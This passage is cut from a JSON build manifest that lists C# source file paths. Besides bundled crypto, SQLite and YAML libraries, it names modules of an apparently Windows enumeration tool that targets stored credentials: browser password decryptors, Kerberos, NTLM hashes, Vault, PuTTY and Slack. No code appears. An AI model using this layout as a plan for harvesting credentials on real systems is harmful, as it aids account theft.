"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerSetParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerStringBase.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerT61String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerTaggedObject.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUniversalString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtcTime.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerUtf8String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVideotexString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\DerVisibleString.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\gm\\GMObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1ApplicationSpecificParser.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Choice.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1Convertible.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IAsn1String.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\IndefiniteLengthInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\LimitedInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\misc\\MiscObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\nist\\NistObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\OidTokenizer.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\pkcs\\PkcsObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\rosstandart\\RosstandartObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\teletrust\\TeleTrusTObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\ua\\UAObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\asn1\\util\\FilterStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\CryptoException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\Check.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2bDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Blake2sDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\CSHAKEDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\DSTU7564Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GeneralDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\GOST3411_2012_512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\KeccakDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\LongDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD2Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD4Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\MD5Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NonMemoableDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\NullDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD128Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD160Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\RipeMD320Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha1Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha224Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha256Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha384Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SHA3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\Sha512tDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShakeDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\ShortenedDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SkeinEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\SM3Digest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\TigerDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\WhirlpoolDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\digests\\XofUtils.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\AesEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\Gost28147Engine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\engines\\ThreefishEngine.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\InvalidCipherTextException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\IXof.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\GcmUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\BasicGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmExponentiator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\IGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\gcm\\Tables4kGcmMultiplier.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadBlockCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\modes\\IAeadCipher.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\OutputLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\AeadParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\KeyParameter.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithIV.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\ParametersWithSBox.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\SkeinParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\parameters\\TweakableBlockCipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\CryptoApiRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\DigestRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\prng\\IRandomGenerator.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Arrays.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Longs.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Pack.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Platform.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\crypto\\util\\Times.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\DataLengthException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\ICipherParameters.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\IDigest.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\BigInteger.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Bits.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\math\\raw\\Interleave.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\oiw\\OiwObjectIdentifiers.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\DigestUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecureRandom.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\security\\SecurityUtilityException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\CollectionUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\ISet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionary.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableDictionaryProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableList.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableListProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSet.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\collections\\UnmodifiableSetProxy.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\date\\DateTimeUtilities.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\Hex.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\HexEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\encoders\\IEncoder.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Enums.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\IMemoable.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\BaseInputStream.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\StreamOverflowException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\io\\Streams.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\MemoableResetException.cs"},{"SourceFile":"3rdParty\\BouncyCastle\\util\\Strings.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteDatabase.cs"},{"SourceFile":"3rdParty\\SQLite\\SQLiteVdbe.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\alter_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\analyze_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\attach_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\auth_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\backup_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\bitvec_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btmutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\BtreeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\btree_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Btree_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\build_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\callback_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\complete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\date_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Delagates.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\delete_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\expr_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\fault_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\func_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\global_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hash_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Hash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\hwtime_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\insert_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\journal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\keywordhash_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\legacy_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\loadext_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\main_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\malloc_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem0_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mem1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\memjournal_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_noop_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\mutex_w32.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\notify_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\opcodes_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_common_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\os_win_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pager_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\parse_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache1_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pcache_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\pragma_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\prepare_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\printf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\random_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\resolve_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\rowset_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\select_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3ext_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqlite3_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteicu_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\sqliteLimit_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\status_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\table_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\tokenize_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\trigger_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\update_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\utf_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\util_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vacuum_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeapi_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeaux_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbeblob_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\VdbeInt_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbemem_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vdbe_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\Vdbe_h.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\vtab_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\walker_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\where_c.cs"},{"SourceFile":"3rdParty\\SQLite\\src\\_Custom.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\EasyTypeConverter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectExtensions.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\ObjectMemberAccessor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\Parser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\RehashableDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\TypeUtils.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\UriEncoding.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlAnchorDictionary.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlConstructor.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlDoubleQuoteEscaping.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlNode.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlParser.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlPresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlRepresenter.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlSerializer.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagPrefixes.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagResolutionScheme.cs"},{"SourceFile":"3rdParty\\YamlSerializer\\YamlTagValidator.cs"},{"SourceFile":"Checks\\ApplicationsInfo.cs"},{"SourceFile":"Checks\\BrowserInfo.cs"},{"SourceFile":"Checks\\CloudInfo.cs"},{"SourceFile":"Checks\\FileAnalysis.cs"},{"SourceFile":"Checks\\FilesInfo.cs"},{"SourceFile":"Checks\\Globals.cs"},{"SourceFile":"Checks\\ISystemCheck.cs"},{"SourceFile":"Checks\\EventsInfo.cs"},{"SourceFile":"Checks\\NetworkInfo.cs"},{"SourceFile":"Checks\\ProcessInfo.cs"},{"SourceFile":"Checks\\ServicesInfo.cs"},{"SourceFile":"Checks\\SystemInfo.cs"},{"SourceFile":"Checks\\UserInfo.cs"},{"SourceFile":"Checks\\WindowsCreds.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerHelper.cs"},{"SourceFile":"Helpers\\AppLocker\\AppLockerRules.cs"},{"SourceFile":"Helpers\\AppLocker\\IAppIdPolicyHandler.cs"},{"SourceFile":"Helpers\\AppLocker\\SharpAppLocker.cs"},{"SourceFile":"Helpers\\HandlesHelper.cs"},{"SourceFile":"Helpers\\ProgressBar.cs"},{"SourceFile":"Helpers\\CredentialManager\\Credential.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialManager.cs"},{"SourceFile":"Helpers\\CredentialManager\\CredentialType.cs"},{"SourceFile":"Helpers\\CredentialManager\\NativeMethods.cs"},{"SourceFile":"Helpers\\CredentialManager\\PersistenceType.cs"},{"SourceFile":"Helpers\\CredentialManager\\SecureStringHelper.cs"},{"SourceFile":"Helpers\\CustomFileInfo.cs"},{"SourceFile":"Helpers\\Extensions\\EnumExtensions.cs"},{"SourceFile":"Helpers\\MemoryHelper.cs"},{"SourceFile":"Helpers\\PermissionsHelper.cs"},{"SourceFile":"Helpers\\Search\\LOLBAS.cs"},{"SourceFile":"Helpers\\Search\\Patterns.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfig.cs"},{"SourceFile":"Helpers\\YamlConfig\\YamlConfigHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\ApplicationInfoHelper.cs"},{"SourceFile":"Info\\ApplicationInfo\\AutoRuns.cs"},{"SourceFile":"Info\\ApplicationInfo\\DeviceDrivers.cs"},{"SourceFile":"Info\\ApplicationInfo\\InstalledApps.cs"},{"SourceFile":"Helpers\\Beaprint.cs"},{"SourceFile":"Info\\CloudInfo\\AWSInfo.cs"},{"SourceFile":"Info\\CloudInfo\\AzureInfo.cs"},{"SourceFile":"Info\\CloudInfo\\EndpointData.cs"},{"SourceFile":"Info\\CloudInfo\\GWorkspaceInfo.cs"},{"SourceFile":"Info\\CloudInfo\\GCPInfo.cs"},{"SourceFile":"Info\\CloudInfo\\CloudInfoBase.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\ExplicitLogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\Logon.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Logon\\LogonInfo.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\EventsInfo\\PowerShell\\PowerShellEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\Common.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\Power.cs"},{"SourceFile":"Info\\EventsInfo\\Power\\PoweredEventInfo.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreation.cs"},{"SourceFile":"Info\\EventsInfo\\ProcessCreation\\ProcessCreationEventInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\CertificateInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Certificates\\Certificates.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfee.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSiteInfo.cs"},{"SourceFile":"Info\\FilesInfo\\McAfee\\McAfeeSitelistInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\Office.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OfficeRecentFileInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\CloudSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\Office\\OneDrive\\OneDriveSyncProviderInfo.cs"},{"SourceFile":"Info\\FilesInfo\\WSL\\WSLHelper.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\IPVersion.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\MibTcpState.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\Protocol.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\TcpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\Enums\\UdpTableClass.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettings.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\InternetSettings\\InternetSettingsKey.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkConnection.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetPinger.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkUtils.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\NetworkScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\NetworkScanner\\PortScanner.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_TCPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6ROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDP6TABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPROW_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\Structs\\MIB_UDPTABLE_OWNER_PID.cs"},{"SourceFile":"Info\\NetworkInfo\\TcpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\UdpConnectionInfo.cs"},{"SourceFile":"Info\\NetworkInfo\\Win32Error.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditEntryInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicies.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditPolicyGPOInfo.cs"},{"SourceFile":"Info\\SystemInfo\\AuditPolicies\\AuditType.cs"},{"SourceFile":"Info\\SystemInfo\\CredentialGuard.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNet.cs"},{"SourceFile":"Info\\SystemInfo\\DotNet\\DotNetInfo.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\GroupPolicy.cs"},{"SourceFile":"Info\\SystemInfo\\GroupPolicy\\LocalGroupPolicyInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipeInfo.cs"},{"SourceFile":"Info\\SystemInfo\\NamedPipes\\NamedPipes.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\Ntlm.cs"},{"SourceFile":"Info\\SystemInfo\\Ntlm\\NtlmSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PluginAccessInfo.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShell.cs"},{"SourceFile":"Info\\SystemInfo\\PowerShell\\PowerShellSessionSettingsInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\PrinterInfo.cs"},{"SourceFile":"Info\\SystemInfo\\Printers\\Printers.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysMon.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonEventInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonHashAlgorithm.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonInfo.cs"},{"SourceFile":"Info\\SystemInfo\\SysMon\\SysmonOptions.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrRule.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\AsrSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefender.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettings.cs"},{"SourceFile":"Info\\SystemInfo\\WindowsDefender\\WindowsDefenderSettingsInfo.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessions.cs"},{"SourceFile":"Info\\UserInfo\\LogonSessions\\LogonSessionsInfo.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\JoinType.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\Tenant.cs"},{"SourceFile":"Info\\UserInfo\\Tenant\\TenantInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\AppCmd\\AppCmd.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPClientSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPServerSettings.cs"},{"SourceFile":"Info\\WindowsCreds\\RDPSettingsInfo.cs"},{"SourceFile":"Info\\WindowsCreds\\RemoteDesktop.cs"},{"SourceFile":"InterestingFiles\\GPP.cs"},{"SourceFile":"InterestingFiles\\InterestingFiles.cs"},{"SourceFile":"InterestingFiles\\Unattended.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Brave\\Brave.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Browser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\BrowserBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Chrome\\Chrome.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\ChromiumBase.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\Login.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\GCDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Decryptor\\LocalState.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFDecryptor.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\FFLogins.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\Firefox.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Firefox\\LoginData.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\IBrowser.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\InternetExplorer.cs"},{"SourceFile":"Checks\\Checks.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Models\\CredentialModel.cs"},{"SourceFile":"KnownFileCreds\\Browsers\\Opera\\Opera.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Enums.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Helpers.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Kerberos.cs"},{"SourceFile":"KnownFileCreds\\Kerberos\\Structs.cs"},{"SourceFile":"KnownFileCreds\\KnownFileCredsInfo.cs"},{"SourceFile":"KnownFileCreds\\Putty.cs"},{"SourceFile":"KnownFileCreds\\RemoteDesktop.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\NtlmHashInfo.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBuffer.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecBufferDesc.cs"},{"SourceFile":"KnownFileCreds\\SecurityPackages\\SecurityPackages.cs"},{"SourceFile":"KnownFileCreds\\Slack\\Slack.cs"},{"SourceFile":"KnownFileCreds\\SuperPutty\\SuperPutty.cs"},{"SourceFile":"KnownFileCreds\\Vault\\Enums\\VAULT_ELEMENT_TYPE.cs"},{"So